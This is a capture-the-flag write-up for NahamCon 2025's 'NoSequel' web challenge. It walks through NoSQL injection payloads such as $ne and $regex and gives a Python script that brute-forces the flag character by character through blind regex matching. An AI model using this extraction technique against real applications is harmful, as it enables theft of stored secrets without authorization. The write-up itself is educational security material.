No Sequel

Writeup for NoSequel (Web) - NahamCon CTF (2025) 💜

Description

It always struck me as odd that none of these movies ever got sequels! Absolute cinema.

Solution

Challenge name suggests we should focus on NoSQL injection 🤔

It even gives us an example! We can check the Portswigger labs on this topic for some exploitation ideas, hacktricks for some quick payloads.

When sending:

query={"$ne":null}&collection=movies

The server responds unknown top level operator: $ne

If we try and search the flags collection, it says Only regex on 'flag' field is supported

I tried to change the content-type to JSON and use some different payloads. We also want to test a search query that returns results, e.g. by using a movie title from the homepage. Doing this will give us a "true" condition that we could use to compare results later, if we need to extract the flag char by char.

When I try to enter [$regex]=.{25} as search query for the flags collection, it warns me to use a JSON format.

Using that format, we apply a regular expression to see if the flag begins with flag.

flag: {$regex: ^flag}

It does! So we can just write a python script to loop through all possible hex chars, since we know the flag format from previous challenges; flag{[0-9a-f]{32}}.

I just finished a 72 hour OSWE exam which required automating exploit chains into a 1-click-pwn script without help from an LLM. Since that is finished, I'll make life easier for myself 😁

import requests
import string

# Config
url = "http://challenge.nahamcon.com:31786/search"
charset = "0123456789abcdef"
flag_prefix = "flag{"
flag = flag_prefix
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

def test_candidate(candidate):
    payload = {
        "query": f'flag: {{$regex: ^{candidate}}}',
        "collection": "flags"
    }
    response = requests.post(url, data=payload, headers=headers)
    return "Pattern matched" in response.text

while not flag.endswith("}"):
    found = False
    for ch in charset:
        attempt = flag + ch
        print(f"[?] Trying: {attempt}")
        if test_candidate(attempt):
            print(f"[+] Match: {attempt}")
            flag += ch
            found = True
            break
    if not found:
        print("[-] No match found. Trying closing brace '}'...")
        if test_candidate(flag + "}"):
            flag += "}"
            print(f"[✓] Flag complete: {flag}")
            break
        else:
            print("[-] Could not extend flag — possibly an error.")
            break

print(f"[🏁] Final flag: {flag}")

It works, we get the flag 😎

Flag: flag{4cb8649d9ecb0ec59d1784263602e686}

Last updated